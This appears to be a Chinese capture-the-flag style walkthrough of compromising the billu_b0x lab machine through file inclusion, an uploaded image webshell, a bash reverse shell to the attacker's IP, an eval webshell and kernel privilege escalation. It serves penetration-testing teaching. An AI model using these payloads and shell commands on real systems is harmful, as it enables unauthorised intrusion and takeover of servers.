测试环境
靶机:billu_b0x
攻击机:kali
信息收集
• 获取靶机ip
kali: nmap -sP 192.168.111.1/24(ip段根据实际情况自己更改)
获取到的信息:ip192.168.111.128
• 扫描开启的端口
kali: nmap -p1-65535 -A 192.168.111.128
获取到的信息:开放端口22,80
渗透测试
• 根据上面信息搜集得到的80端口开放可以直接访问网站
• 根据提升尝试进行sql注入攻击
测试语句:1’ or 1=1 #
1’ and 1=1 #
sqlmap: sqlmap -u “http://192.168.111.128” --data “un=admin&ps=admin&login=let%27s+login” –
level 3 --dbms mysql
测试结果都是try again 目前不知道过滤规则暂时放弃fuzz注入
• 爆破目录
kali: dirb http://192.168.111.128
windows: 御剑扫描
爆破出来11个php页面,一个目录
• 逐个访问这些网页
在in.php页面发现这是一个phpinfo并且allow_url_fopen=on考虑是否能进行文件包含(图4.1)
add.php页面是一个上传页面,上传了图片但是没有回显暂时放弃
c.php和show.php都是空白的,想到会不会是菜刀码尝试连接但是失败了
test.php就比较厉害了,它提示我们给他一个file参数(图4.2)
• 给test.php页面一个file参数
首先是GET方式:http://192.168.111.128/test.php?file=/etc/passwd POST方式:bp抓包右键更改传参方式(图5.2)结果如图(图5.3)
按照这种方式逐个获取add.php c.php index.php show.php panel.php /etc/passwd
• 审计刚才得到的代码
在c.php文件中获取到数据库的用户名密码和数据库名
<?php
#header( 'Z-Powered-By:its chutiyapa xD' );
header('X-Frame-Options: SAMEORIGIN');
header( 'Server:testing only' );
header( 'X-Powered-By:testing only' );
ini_set( 'session.cookie_httponly', 1 );
$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");
// Check connection
if (mysqli_connect_errno())
{
echo "connection failed -> " . mysqli_connect_error();
}
?>
获取shell
• 思路一
◇ 包含phpmyadmin配置文件,默认路径是/var/www/phpmy/config.inc.php,获取到root密码直接ssh连
接即可
• 思路二
◇ 根据c.php得到的phpmyadmin登陆密码登陆,在ica_lab库的auth表中获取到网站登陆用户名密码
◇ 审计panel.php发现他有文件包含漏洞
可利用代码:
if(isset($_POST['continue']))
{
$dir=getcwd();
$choice=str_replace('./','',$_POST['load']);
if($choice==='add')
{
include($dir.'/'.$choice.'.php');
die();
}
if($choice==='show')
{
include($dir.'/'.$choice.'.php');
die();
}
else
{
include($dir.'/'.$_POST['load']);
}
}
◇ 制作图片码并上传,用十六进制编辑器打开一个图片在末尾加上<?php system($_GET['cmd']); ?>,通
过网站adduser功能上传
◇ 利用panel.php执行cmd命令
使用burp执行命令: post请求url中加入执行命令的参数: POST /panel.php?cmd=cat%20/etc/
passwd;ls
◇ bash反弹shell命令:echo “bash -i >& /dev/tcp/攻击机ip/4444 0>&1” | bash(需要url编码)
攻击机:nc -lvvp 4444
◇ 找一个有写权限的目录上传一个一句话木马
echo ‘<?php eval($_POST['1']); ?>’ >> 1.php
中国蚁剑连接
◇ 查看系统内核版本,下载对应exp进行本地提权
查看内核版本命令:uanme -a和cat /etc/issue
根据版本查找对应exp下载上传编译运行
总结
本次渗透的思路总共有两个:
- 通过爆破出来的phpmyadmin页面,利用test.php页面包含获取各个页面的源码拿到密码登陆phpmyadmin找到网站登陆密码,获取shell
- 通过文件包含查看phpmyadmin配置文件获取root密码,这种方式的前提是网站管理员没有移动配置文件位置,否则无法实现。
从中获得的启发:
渗透的途径不止一个,不能局限于常规的条条框框,要熟悉各个漏洞能熟练利用.
免责声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。禁止任何人转载到其他站点,禁止用于任何非法用途。如有任何人凭此做何非法事情,均于笔者无关,特此声明。